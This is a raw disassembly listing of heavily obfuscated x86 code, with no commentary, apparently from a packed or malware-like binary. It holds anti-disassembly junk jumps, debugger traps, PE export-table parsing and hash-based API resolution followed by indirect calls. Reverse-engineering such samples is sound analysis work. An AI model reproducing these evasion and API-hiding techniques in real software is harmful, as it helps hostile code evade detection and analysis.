loc_40409E: ; CODE XREF: .text:0040404Bj db 67h adc al, 0BDh mov dl, 3 cmp byte ptr [ecx+75AC5FFEh], 0Ah jnp short loc_404044 icebp setalc push edi inc esp ; --------------------------------------------------------------------------- db 2Dh, 62h ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: .text:00404084j jmp short loc_40408D ; --------------------------------------------------------------------------- db 0F3h, 0B0h ; --------------------------------------------------------------------------- loc_4040B6: ; CODE XREF: .text:loc_4040C5j jmp short loc_4040E4 ; --------------------------------------------------------------------------- sub [esi-451A23B1h], ebp imul ecx, eax, 61h xchg al, [edi+74h] popf loc_4040C5: ; CODE XREF: .text:loc_40408Dj jmp short loc_4040B6 ; --------------------------------------------------------------------------- db 12h dd 5E99E0E3h, 6A550C3Fh, 36D1F85Bh, 0C20DA437h, 0E0910D3h dd 1AC53C2Fh, 0E641284Bh ; --------------------------------------------------------------------------- loc_4040E4: ; CODE XREF: .text:loc_4040B6j push dword ptr [ebx+0Ch] push esi push edx push ebp pop esi lea edx, ds:80CB9Ah xchg edx, edx inc esi cld pop edx pop esi add [esp], ebp jmp short loc_404129 ; --------------------------------------------------------------------------- db 0BEh, 1Fh, 6Ch ; --------------------------------------------------------------------------- loc_4040FF: ; CODE XREF: .text:loc_404129j jmp short loc_40413C ; --------------------------------------------------------------------------- db 35h, 0CAh, 3Bh ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: .text:0040408Bj pop eax mov cl, 96h pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf movsd jp short loc_40413F mov [ecx], ah inc esi pop es xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger adc eax, 91B81B2Ah ; CODE XREF: .text:00404144j div bh ; --------------------------------------------------------------------------- db 64h ; --------------------------------------------------------------------------- loc_404129: ; CODE XREF: .text:004040FAj jmp short loc_4040FF ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_40412C: ; CODE XREF: .text:loc_40413Cj jmp short loc_404157 ; --------------------------------------------------------------------------- dw 9382h dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h ; --------------------------------------------------------------------------- loc_40413C: ; CODE XREF: .text:loc_4040FFj jmp short loc_40412C ; --------------------------------------------------------------------------- xchg eax, esp loc_40413F: ; CODE XREF: .text:00404112j cmp eax, 39008332h jle short near ptr loc_404121+4 sub al, 0F5h mov bh, bl sbb [ecx+56h], dh xlat les ebp, [ebp-56CF8C1Eh] db 2Eh iret ; --------------------------------------------------------------------------- pop esp loc_404157: ; CODE XREF: .text:loc_40412Cj push 0A9DE6F5Ah push esi push edi mov di, 4914h mov si, 4A44h adc esi, 80895Ah cld push ebx pop esi lea esi, ds:808B9Ah cld pop edi pop esi push esi push eax push edx test cl, cl push esp pop edx xchg edx, eax mov ax, 48FDh xor edx, eax xor edx, ecx mov edx, 808A5Ah cmp al, 0E8h neg edx cld pop edx pop eax call near ptr sub_401692 push eax push edi neg edi xchg edi, eax xor eax, edx lea eax, ds:80A7DAh std xor eax, edi sbb edi, 80A85Ah xor edi, eax cld pop edi pop eax call eax push edi push edx mov edi, 80C8DAh inc edx xor edi, ecx mov edi, 810ADCh mov edi, 80E6DAh cmp esp, edi xchg edx, edi dec edi cld pop edx pop edi add esp, 4 push ecx push edi xor ecx, edx mov ecx, edx lea edi, ds:81115Ah mov ecx, ecx mov ecx, edi dec ecx cld pop edi pop ecx inc edi push ecx push ebx mov ecx, 80891Ah test ecx, eax test eax, edi rcr ebx, 86h not ecx inc ebx cld pop ebx pop ecx add ebx, 28h push edi push ebx mov edi, ebx dec ebx cld pop ebx pop edi cmp edi, 3 jnz loc_403F25 push esi push ebx mov si, 499Fh cmp al, 0ECh dec esi cld pop ebx pop esi push ebx jmp short loc_40424E ; --------------------------------------------------------------------------- db 0B6h ; --------------------------------------------------------------------------- mov bh, 24h loc_404226: ; CODE XREF: .text:loc_40424Ej jmp short loc_404261 ; --------------------------------------------------------------------------- loc_404228: ; CODE XREF: .text:0040428Ej lea eax, [edx+53h] nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h dd 0F033A26Dh db 69h, 0EEh ; --------------------------------------------------------------------------- loc_40424E: ; CODE XREF: .text:00404221j jmp short loc_404226 ; --------------------------------------------------------------------------- dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h db 7Fh ; --------------------------------------------------------------------------- loc_404261: ; CODE XREF: .text:loc_404226j lea eax, [esp] push edx push ecx mov cx, 4948h xchg edx, ecx dec edx cld pop ecx pop edx push eax jmp short loc_40429D ; --------------------------------------------------------------------------- db 2 dd 4E495013h db 6Fh, 7Ch ; --------------------------------------------------------------------------- loc_40427A: ; CODE XREF: .text:loc_40429Dj jmp short loc_4042AE ; --------------------------------------------------------------------------- add eax, 81688B5Ah db 26h, 67h adc al, 0BDh mov dl, 3 cmp byte ptr [ecx+75AC5FFEh], 0Ah jnp short loc_404228 icebp setalc push edi inc esp sub eax, 29B0F362h scasb dec edi fsubr st(5), st loc_40429D: ; CODE XREF: .text:00404271j jmp short loc_40427A ; --------------------------------------------------------------------------- db 0BAh ; --------------------------------------------------------------------------- loc_4042A0: ; CODE XREF: .text:loc_4042AEj jmp short loc_4042D1 ; --------------------------------------------------------------------------- dw 0C86Bh dd 74478661h, 0E0E3129Dh ; --------------------------------------------------------------------------- cdq pop esi loc_4042AE: ; CODE XREF: .text:loc_40427Aj jmp short loc_4042A0 ; --------------------------------------------------------------------------- aas or al, 55h push 5Bh loc_4042B5: ; CODE XREF: .text:loc_4042D1j jmp short loc_4042E4 ; --------------------------------------------------------------------------- db 0F8h dd 0A43736D1h, 10D3C20Dh, 3C2F0E09h, 284B1AC5h, 0D427E641h dd 40C3727Dh db 79h ; --------------------------------------------------------------------------- loc_4042D1: ; CODE XREF: .text:loc_4042A0j jmp short loc_4042B5 ; --------------------------------------------------------------------------- db 0BEh dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h ; --------------------------------------------------------------------------- loc_4042E4: ; CODE XREF: .text:loc_4042B5j push 4 jmp short loc_4042F7 ; --------------------------------------------------------------------------- db 7Ah, 2Bh, 88h ; --------------------------------------------------------------------------- loc_4042EB: ; CODE XREF: .text:loc_4042F7j jmp short loc_40431A ; --------------------------------------------------------------------------- db 21h, 46h, 7 dd 0A3D25D34h db 0A0h, 59h, 1Eh ; --------------------------------------------------------------------------- loc_4042F7: ; CODE XREF: .text:004042E6j jmp short loc_4042EB ; --------------------------------------------------------------------------- db 0FFh, 0CCh, 15h dd 91B81B2Ah, 0CD64F7F6h, 0C9D09382h, 85FCEFCEh, 1E80BDAh dd 3D94E7A6h, 39008332h db 7Eh, 0DFh ; --------------------------------------------------------------------------- loc_40431A: ; CODE XREF: .text:loc_4042EBj push 400h push ebx push esi rep ror esi, 0CCh mov esi, 80C85Ah mov esi, edx lea esi, ds:81BA9Ah neg ebx xor esi, edx neg esi cld pop esi pop ebx push ebp push ebx push esi xor esi, ecx mov ebx, 80A9DAh inc esi cmp al, 0DAh test cl, ch cmp al, 0D9h repne cld pop esi pop ebx push 0A9DE6F5Ah jmp short loc_40436F ; --------------------------------------------------------------------------- xlat les ebp, [ebp-56CF8C1Eh] loc_40435E: ; CODE XREF: .text:loc_40436Fj jmp short loc_40438E ; --------------------------------------------------------------------------- dd 655CCF2Eh, 0E148EB3Ah, 1DF4C706h db 92h, 63h, 60h ; --------------------------------------------------------------------------- loc_40436F: ; CODE XREF: .text:00404355j jmp short loc_40435E ; --------------------------------------------------------------------------- sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_4043CB mov dh, 0B7h and al, 8Dh inc edx push ebx nop loc_404381: ; CODE XREF: .text:004043E7j mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw push esp std loc_40438E: ; CODE XREF: .text:loc_40435Ej push esi push eax push edx mov edx, 80DDDAh cmp bh, ah cld pop edx pop eax call near ptr sub_401692 jmp short loc_4043D2 ; --------------------------------------------------------------------------- fdiv dword ptr [ecx] push ss xchg eax, edi test [ebp-5Eh], ch loc_4043A9: ; CODE XREF: .text:loc_4043D2j jmp short loc_4043E9 ; --------------------------------------------------------------------------- db 33h dd 8FEE69F0h, 0ABFA251Ch, 87C6A108h, 2352DDB4h, 7F9ED920h dd 9BAA954Ch, 77761138h db 0E4h, 4Dh, 2 ; --------------------------------------------------------------------------- loc_4043CB: ; CODE XREF: .text:00404378j adc edx, [eax+49h] dec esi outsd jl short near ptr byte_4043D7 loc_4043D2: ; CODE XREF: .text:004043A0j jmp short loc_4043A9 ; --------------------------------------------------------------------------- db 5Ah, 8Bh, 68h byte_4043D7 db 81h ; CODE XREF: .text:004043D0j db 26h, 67h ; --------------------------------------------------------------------------- loc_4043DA: ; CODE XREF: .text:loc_4043E9j jmp short loc_404408 ; --------------------------------------------------------------------------- adc al, 0BDh mov dl, 3 cmp byte ptr [ecx+75AC5FFEh], 0Ah jnp short loc_404381 loc_4043E9: ; CODE XREF: .text:loc_4043A9j jmp short loc_4043DA ; --------------------------------------------------------------------------- loc_4043EB: ; CODE XREF: .text:loc_404408j jmp short loc_404418 ; --------------------------------------------------------------------------- db 0F1h, 0D6h, 57h dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h, 0E3129D74h dd 3F5E99E0h ; --------------------------------------------------------------------------- loc_404408: ; CODE XREF: .text:loc_4043DAj jmp short loc_4043EB ; --------------------------------------------------------------------------- or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h loc_404418: ; CODE XREF: .text:loc_4043EBj call eax jmp short loc_40442A ; --------------------------------------------------------------------------- dec ebx sub [ecx-1Ah], al daa aam 7Dh loc_404423: ; CODE XREF: .text:loc_40442Aj jmp short loc_404451 ; --------------------------------------------------------------------------- db 72h, 0C3h, 40h db 79h, 0BEh ; --------------------------------------------------------------------------- loc_40442A: ; CODE XREF: .text:0040441Aj jmp short loc_404423 ; --------------------------------------------------------------------------- loc_40442C: ; CODE XREF: .text:loc_404451j jmp short loc_404462 ; --------------------------------------------------------------------------- dw 6C1Fh dd 583BCA35h, 41796B1h, 70B322EDh, 9C0F6EE9h, 882B7AA5h dd 34074621h, 0A0A3D25Dh, 0CCFF1E59h db 15h ; --------------------------------------------------------------------------- loc_404451: ; CODE XREF: .text:loc_404423j jmp short loc_40442C ; --------------------------------------------------------------------------- db 2Ah dd 0F691B81Bh, 82CD64F7h, 0CEC9D093h db 0EFh, 0FCh ; --------------------------------------------------------------------------- loc_404462: ; CODE XREF: .text:loc_40442Cj add esp, 4 jmp short loc_404494 ; --------------------------------------------------------------------------- db 94h db 3Dh, 32h ; --------------------------------------------------------------------------- loc_40446A: ; CODE XREF: .text:loc_404494j jmp short loc_4044AC ; --------------------------------------------------------------------------- dd 7E390083h, 8AF52CDFh, 567118FBh, 0E2ADC4D7h, 2EA93073h dd 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h, 0EAD58CBFh ; --------------------------------------------------------------------------- loc_404494: ; CODE XREF: .text:00404465j jmp short loc_40446A ; --------------------------------------------------------------------------- loc_404496: ; CODE XREF: .text:loc_4044ACj jmp short loc_4044C7 ; --------------------------------------------------------------------------- fstp tbyte ptr [eax+51h] mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h ; --------------------------------------------------------------------------- loc_4044AC: ; CODE XREF: .text:loc_40446Aj jmp short loc_404496 ; --------------------------------------------------------------------------- dw 54A7h dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh db 69h, 0EEh, 8Fh ; --------------------------------------------------------------------------- loc_4044C7: ; CODE XREF: .text:loc_404496j mov eax, ebp jmp short loc_4044E7 ; --------------------------------------------------------------------------- stosd or [ecx-224B783Ah], ah loc_4044D2: ; CODE XREF: .text:loc_4044E7j jmp short loc_4044FE ; --------------------------------------------------------------------------- dd 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h ; --------------------------------------------------------------------------- add dl, [ebx] push eax loc_4044E7: ; CODE XREF: .text:004044C9j jmp short loc_4044D2 ; --------------------------------------------------------------------------- db 49h, 4Eh, 6Fh dd 8B5A057Ch, 67268168h, 3B2BD14h, 5FFEB980h db 0ACh, 75h ; --------------------------------------------------------------------------- loc_4044FE: ; CODE XREF: .text:loc_4044D2j add eax, [eax+3Ch] push eax push ebx test al, ch push ebx pop ebx push ebp pop eax dec ebx cld pop ebx pop eax push 10000001h push esi push ebx mov esi, ebp clc cld pop ebx pop esi pop edi jmp short loc_40454B ; --------------------------------------------------------------------------- db 4Fh, 0DCh, 0E5h dd 61C86BBAh ; --------------------------------------------------------------------------- loc_404524: ; CODE XREF: .text:loc_40454Bj jmp short loc_404560 ; --------------------------------------------------------------------------- dw 4786h dd 0E3129D74h, 3F5E99E0h, 5B6A550Ch, 3736D1F8h, 0D3C20DA4h dd 2F0E0910h, 4B1AC53Ch, 27E64128h db 0D4h, 7Dh, 72h ; --------------------------------------------------------------------------- loc_40454B: ; CODE XREF: .text:0040451Bj jmp short loc_404524 ; --------------------------------------------------------------------------- loc_40454D: ; CODE XREF: .text:loc_404560j jmp short loc_40457F ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dd 1FBE7940h, 3BCA356Ch, 1796B158h, 0B322ED04h ; --------------------------------------------------------------------------- loc_404560: ; CODE XREF: .text:loc_404524j jmp short loc_40454D ; --------------------------------------------------------------------------- dw 0E970h db 6Eh, 0Fh ; --------------------------------------------------------------------------- loc_404566: ; CODE XREF: .text:loc_40457Fj jmp short loc_404596 ; --------------------------------------------------------------------------- dd 2B7AA59Ch, 7462188h, 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh db 0B8h, 91h, 0F6h ; --------------------------------------------------------------------------- loc_40457F: ; CODE XREF: .text:loc_40454Dj jmp short loc_404566 ; --------------------------------------------------------------------------- db 0F7h, 64h, 0CDh dd 0C9D09382h, 85FCEFCEh, 1E80BDAh, 3D94E7A6h db 32h, 83h ; --------------------------------------------------------------------------- loc_404596: ; CODE XREF: .text:loc_404566j cmp edi, 10000001h jz loc_404688 jmp short loc_4045CE ; --------------------------------------------------------------------------- db 0DFh ; --------------------------------------------------------------------------- loc_4045A5: ; CODE XREF: .text:loc_4045CEj jmp short loc_4045E5 ; --------------------------------------------------------------------------- db 2Ch dd 18FB8AF5h, 0C4D75671h, 3073E2ADh, 5CCF2EA9h, 48EB3A65h dd 0F4C706E1h, 6063921Dh, 8CBFDE19h, 78DBEAD5h db 51h, 0B6h ; --------------------------------------------------------------------------- loc_4045CE: ; CODE XREF: .text:004045A2j jmp short loc_4045A5 ; --------------------------------------------------------------------------- mov bh, 24h lea eax, [edx+53h] nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h ; --------------------------------------------------------------------------- inc ebx loc_4045E5: ; CODE XREF: .text:loc_4045A5j mov [eax+78h], edi push eax push ecx jmp $+5 cmp al, 0F2h cld pop ecx pop eax push 10000001h push esi push ecx and ecx, 808B9Ah shr esi, 9Eh mov ecx, edx cld pop ecx pop esi pop dword ptr [eax+7Ch] jmp short loc_40463A ; --------------------------------------------------------------------------- dw 6D84h ; --------------------------------------------------------------------------- mov ds:0EE69F033h, al loc_404615: ; CODE XREF: .text:loc_40463Aj jmp short loc_40464A ; --------------------------------------------------------------------------- db 8Fh dd 0ABFA251Ch, 87C6A108h, 2352DDB4h, 7F9ED920h, 9BAA954Ch dd 77761138h, 13024DE4h, 6F4E4950h ; --------------------------------------------------------------------------- jl short near ptr byte_40463F loc_40463A: ; CODE XREF: .text:0040460Cj jmp short loc_404615 ; --------------------------------------------------------------------------- db 5Ah, 8Bh, 68h byte_40463F db 81h ; CODE XREF: .text:00404638j db 26h, 67h ; --------------------------------------------------------------------------- loc_404642: ; CODE XREF: .text:loc_40464Aj jmp short loc_40466D ; --------------------------------------------------------------------------- dd 3B2BD14h db 80h, 0B9h ; --------------------------------------------------------------------------- loc_40464A: ; CODE XREF: .text:loc_404615j jmp short loc_404642 ; --------------------------------------------------------------------------- dd 75AC5FFEh, 0F1987B0Ah ; --------------------------------------------------------------------------- setalc push edi inc esp loc_404657: ; CODE XREF: .text:loc_40466Dj jmp short loc_404688 ; --------------------------------------------------------------------------- db 2Dh, 62h, 0F3h dd 4FAE29B0h, 6BBAE5DCh, 478661C8h, 0E3129D74h db 0E0h ; --------------------------------------------------------------------------- loc_40466D: ; CODE XREF: .text:loc_404642j jmp short loc_404657 ; --------------------------------------------------------------------------- cdq pop esi aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h sbb cl, [ebx+28h] inc ecx loc_404688: ; CODE XREF: .text:0040459Cj ; .text:loc_404657j push 11000h push edx push esi and esi, 80AA1Ah xor edx, eax xor edx, ecx mov edx, 80CC5Ah xor edx, edi lea esi, ds:808A1Ah cld pop esi pop edx pop edi push edx push ecx mov edx, edx ror edx, 0F7h mov ecx, 808DDAh xchg edx, edx inc edx test al, al cld pop ecx pop edx cmp edi, 10000001h jz loc_4047E9 jmp short loc_4046F7 ; --------------------------------------------------------------------------- db 0BEh, 1Fh, 6Ch ; --------------------------------------------------------------------------- loc_4046CF: ; CODE XREF: .text:loc_4046F7j jmp short loc_40470A ; --------------------------------------------------------------------------- db 35h, 0CAh, 3Bh dd 1796B158h, 0B322ED04h, 0F6EE970h, 2B7AA59Ch, 7462188h dd 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh db 0B8h, 91h, 0F6h ; --------------------------------------------------------------------------- loc_4046F7: ; CODE XREF: .text:004046CAj jmp short loc_4046CF ; --------------------------------------------------------------------------- db 0F7h, 64h, 0CDh dd 0C9D09382h, 85FCEFCEh, 1E80BDAh db 0A6h, 0E7h ; --------------------------------------------------------------------------- loc_40470A: ; CODE XREF: .text:loc_4046CFj mov [eax+88h], edi jmp short loc_40473E ; --------------------------------------------------------------------------- dw 0DF7Eh dd 0FB8AF52Ch db 18h ; --------------------------------------------------------------------------- loc_404719: ; CODE XREF: .text:loc_40473Ej jmp short loc_40474E ; --------------------------------------------------------------------------- db 71h dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah, 1DF4C706h dd 19606392h, 0D58CBFDEh, 5178DBEAh ; --------------------------------------------------------------------------- mov dh, 0B7h loc_40473E: ; CODE XREF: .text:00404710j jmp short loc_404719 ; --------------------------------------------------------------------------- and al, 8Dh inc edx push ebx loc_404744: ; CODE XREF: .text:loc_40474Ej jmp short loc_40476F ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- loc_40474E: ; CODE XREF: .text:loc_404719j jmp short loc_404744 ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h dd 33A26D84h, 8FEE69F0h ; --------------------------------------------------------------------------- sbb al, 25h cli loc_40476F: ; CODE XREF: .text:loc_404744j push 2FCh jmp short loc_4047A1 ; --------------------------------------------------------------------------- dw 0DDB4h dd 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h, 49501302h dd 57C6F4Eh, 81688B5Ah, 0BD146726h db 0B2h ; --------------------------------------------------------------------------- loc_404799: ; CODE XREF: .text:loc_4047A1j jmp short loc_4047C4 ; --------------------------------------------------------------------------- add eax, [eax-53A00147h] loc_4047A1: ; CODE XREF: .text:00404774j jmp short loc_404799 ; --------------------------------------------------------------------------- db 75h db 0Ah, 7Bh ; --------------------------------------------------------------------------- loc_4047A6: ; CODE XREF: .text:loc_4047C4j jmp short loc_4047D7 ; --------------------------------------------------------------------------- dd 57D6F198h, 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h dd 0E3129D74h, 3F5E99E0h ; --------------------------------------------------------------------------- loc_4047C4: ; CODE XREF: .text:loc_404799j jmp short loc_4047A6 ; --------------------------------------------------------------------------- dw 550Ch dd 0D1F85B6Ah, 0DA43736h, 910D3C2h db 0Eh, 2Fh, 3Ch ; --------------------------------------------------------------------------- loc_4047D7: ; CODE XREF: .text:loc_4047A6j pop dword ptr [eax+8Ch] push edx push esi mov si, 4949h rol edx, 5Ch cld pop esi pop edx loc_4047E9: ; CODE XREF: .text:004046C4j push ebx jmp short loc_404817 ; --------------------------------------------------------------------------- db 0D4h, 7Dh, 72h ; --------------------------------------------------------------------------- loc_4047EF: ; CODE XREF: .text:loc_404817j jmp short loc_40482A ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dw 7940h ; --------------------------------------------------------------------------- mov esi, 0CA356C1Fh cmp ebx, [eax-4Fh] xchg eax, esi pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf movsd jp short loc_404835 mov [ecx], ah inc esi pop es xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger loc_404817: ; CODE XREF: .text:004047EAj jmp short loc_4047EF ; --------------------------------------------------------------------------- db 15h, 2Ah byte_40481B db 1Bh ; CODE XREF: .text:0040483Aj ; --------------------------------------------------------------------------- loc_40481C: ; CODE XREF: .text:loc_40482Aj jmp short loc_404845 ; --------------------------------------------------------------------------- dw 91B8h dd 0CD64F7F6h, 0C9D09382h db 0CEh, 0EFh ; --------------------------------------------------------------------------- loc_40482A: ; CODE XREF: .text:loc_4047EFj jmp short loc_40481C ; --------------------------------------------------------------------------- dd 0BDA85FCh, 0E7A601E8h ; --------------------------------------------------------------------------- xchg eax, esp loc_404835: ; CODE XREF: .text:00404808j cmp eax, 39008332h jle short near ptr byte_40481B sub al, 0F5h mov bh, bl sbb [ecx+56h], dh xlat ; --------------------------------------------------------------------------- db 0C4h ; --------------------------------------------------------------------------- loc_404845: ; CODE XREF: .text:loc_40481Cj lea eax, [esp] push ecx push edx ja loc_40485A xchg ecx, ecx sub edx, 80A2DAh xor edx, edx loc_40485A: ; CODE XREF: .text:0040484Aj push edi pop ecx mov ecx, ecx xor edx, edx repne cld pop edx pop ecx push eax jmp short loc_404892 ; --------------------------------------------------------------------------- db 5Ch db 65h, 3Ah ; --------------------------------------------------------------------------- loc_40486A: ; CODE XREF: .text:loc_404892j jmp short loc_4048A5 ; --------------------------------------------------------------------------- jmp short loc_4048B6 ; --------------------------------------------------------------------------- dw 6E1h ; --------------------------------------------------------------------------- mov esp, 6063921Dh sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_4048D0 mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw push esp loc_404892: ; CODE XREF: .text:00404865j jmp short loc_40486A ; --------------------------------------------------------------------------- db 0FDh, 0F2h, 43h ; --------------------------------------------------------------------------- loc_404897: ; CODE XREF: .text:loc_4048A5j jmp short loc_4048C8 ; --------------------------------------------------------------------------- db 0C0h, 0F9h, 3Eh dd 4AB5EC9Fh, 1631D8BBh ; --------------------------------------------------------------------------- xchg eax, edi loc_4048A5: ; CODE XREF: .text:loc_40486Aj jmp short loc_404897 ; --------------------------------------------------------------------------- db 84h dd 0F033A26Dh, 1C8FEE69h, 8ABFA25h db 0A1h, 0C6h ; --------------------------------------------------------------------------- loc_4048B6: ; CODE XREF: .text:0040486Cj xchg esi, [ebp+ebx*8-26DFDCAEh] sahf jg short loc_40490C xchg eax, ebp stosb wait cmp [ecx], dl jbe short loc_40493E ; --------------------------------------------------------------------------- db 0E4h ; --------------------------------------------------------------------------- loc_4048C8: ; CODE XREF: .text:loc_404897j push 2 push ecx push eax cmp al, 0C4h xchg ecx, eax loc_4048D0: ; CODE XREF: .text:0040487Dj mov ecx, 81AF1Ah xor eax, 80B89Ah cld pop eax pop ecx push 400h jmp short loc_4048F8 ; --------------------------------------------------------------------------- db 4Eh, 6Fh, 7Ch ; --------------------------------------------------------------------------- loc_4048E8: ; CODE XREF: .text:loc_4048F8j jmp short loc_404913 ; --------------------------------------------------------------------------- dw 5A05h dd 2681688Bh, 0B2BD1467h, 0FEB98003h ; --------------------------------------------------------------------------- loc_4048F8: ; CODE XREF: .text:004048E3j jmp short loc_4048E8 ; --------------------------------------------------------------------------- dw 0AC5Fh dd 987B0A75h, 4457D6F1h, 0B0F3622Dh, 0DC4FAE29h ; --------------------------------------------------------------------------- loc_40490C: ; CODE XREF: .text:004048BEj in eax, 0BAh ; Interrupt Controller #2, 8259A imul ecx, eax, 61h ; --------------------------------------------------------------------------- db 86h, 47h ; --------------------------------------------------------------------------- loc_404913: ; CODE XREF: .text:loc_4048E8j push ebp push ebx push ecx not ecx cld mov ebx, 81105Ah push eax pop ebx xor ebx, ebx mov ecx, esi inc ebx cld pop ecx pop ebx push 0A9DE6F5Ah push ebx push eax dec ebx rcr ebx, 8Eh mov ebx, esp dec eax cld pop eax pop ebx push esi jmp short loc_40496C ; --------------------------------------------------------------------------- db 55h, 6Ah ; --------------------------------------------------------------------------- loc_40493E: ; CODE XREF: .text:004048C5j pop ebx clc sal dword ptr [esi], 1 aaa loc_404943: ; CODE XREF: .text:loc_40496Cj jmp short loc_404983 ; --------------------------------------------------------------------------- db 0A4h, 0Dh, 0C2h dd 0E0910D3h, 1AC53C2Fh, 0E641284Bh, 727DD427h, 0BE7940C3h dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h ; --------------------------------------------------------------------------- loc_40496C: ; CODE XREF: .text:0040493Aj jmp short loc_404943 ; --------------------------------------------------------------------------- dw 9C0Fh dd 882B7AA5h ; --------------------------------------------------------------------------- loc_404974: ; CODE XREF: .text:loc_404983j jmp short loc_4049A2 ; --------------------------------------------------------------------------- dw 4621h dd 0D25D3407h, 1E59A0A3h db 0FFh, 0CCh, 15h ; --------------------------------------------------------------------------- loc_404983: ; CODE XREF: .text:loc_404943j jmp short loc_404974 ; --------------------------------------------------------------------------- db 2Ah, 1Bh, 0B8h dd 64F7F691h, 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h, 94E7A601h dd 83323Dh db 39h, 7Eh ; --------------------------------------------------------------------------- loc_4049A2: ; CODE XREF: .text:loc_404974j call near ptr sub_401692 push ecx push ebx mov ecx, 808DDAh lea ecx, ds:80AE5Ah test ecx, esp dec ecx inc ecx cld pop ebx pop ecx call eax jmp short loc_4049EC ; --------------------------------------------------------------------------- db 0C4h db 0ADh, 0E2h ; --------------------------------------------------------------------------- loc_4049C2: ; CODE XREF: .text:loc_4049ECj jmp short loc_4049FF ; --------------------------------------------------------------------------- dd 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h dd 0EAD58CBFh, 0B65178DBh, 428D24B7h, 8E899053h, 9A45BCAFh ; --------------------------------------------------------------------------- loc_4049EC: ; CODE XREF: .text:004049BDj jmp short loc_4049C2 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- loc_4049EF: ; CODE XREF: .text:loc_4049FFj jmp short loc_404A1A ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h db 9Fh, 0ECh, 0B5h ; --------------------------------------------------------------------------- loc_4049FF: ; CODE XREF: .text:loc_4049C2j jmp short loc_4049EF ; --------------------------------------------------------------------------- db 4Ah, 0BBh, 0D8h ; --------------------------------------------------------------------------- loc_404A04: ; CODE XREF: .text:loc_404A1Aj jmp short loc_404A35 ; --------------------------------------------------------------------------- dw 1631h dd 0A26D8497h, 0EE69F033h, 0FA251C8Fh, 0C6A108ABh db 87h, 0B4h ; --------------------------------------------------------------------------- loc_404A1A: ; CODE XREF: .text:loc_4049EFj jmp short loc_404A04 ; --------------------------------------------------------------------------- dd 202352DDh, 4C7F9ED9h, 389BAA95h, 0E4777611h, 5013024Dh dd 7C6F4E49h db 5 ; --------------------------------------------------------------------------- loc_404A35: ; CODE XREF: .text:loc_404A04j add esp, 4 push edx push ecx jo short loc_404A53 cmp al, 0E5h mov dx, 4EBDh cmp al, 0CFh cmp ecx, 808BDAh cmp edi, ebp lea ecx, ds:8093DAh dec ecx loc_404A53: ; CODE XREF: .text:00404A3Aj mov ecx, eax cld pop ecx pop edx push 44315FEEh jmp short loc_404A88 ; --------------------------------------------------------------------------- db 14h db 0BDh, 0B2h ; --------------------------------------------------------------------------- loc_404A62: ; CODE XREF: .text:loc_404A88j jmp short loc_404A9B ; --------------------------------------------------------------------------- dd 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h dd 0BAE5DC4Fh, 8661C86Bh, 129D7447h, 5E99E0E3h ; --------------------------------------------------------------------------- loc_404A88: ; CODE XREF: .text:00404A5Dj jmp short loc_404A62 ; --------------------------------------------------------------------------- aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das loc_404A9B: ; CODE XREF: .text:loc_404A62j push esi push ecx push edx neg ecx cld cld pop edx pop ecx call near ptr sub_401692 push esi push edi xor esi, eax mov edi, 80A31Ah ror esi, 0C9h mov edi, edx jmp loc_404ABF ; --------------------------------------------------------------------------- push eax pop esi dec esi loc_404ABF: ; CODE XREF: .text:00404AB7j push esi pop esi dec esi cld pop edi pop esi push eax push edi push eax mov eax, 80E29Ah test al, ch cld pop eax pop edi push eax jmp short loc_404B03 ; --------------------------------------------------------------------------- db 1Fh, 6Ch, 35h dd 0B1583BCAh ; --------------------------------------------------------------------------- loc_404ADC: ; CODE XREF: .text:loc_404B03j jmp short loc_404B13 ; 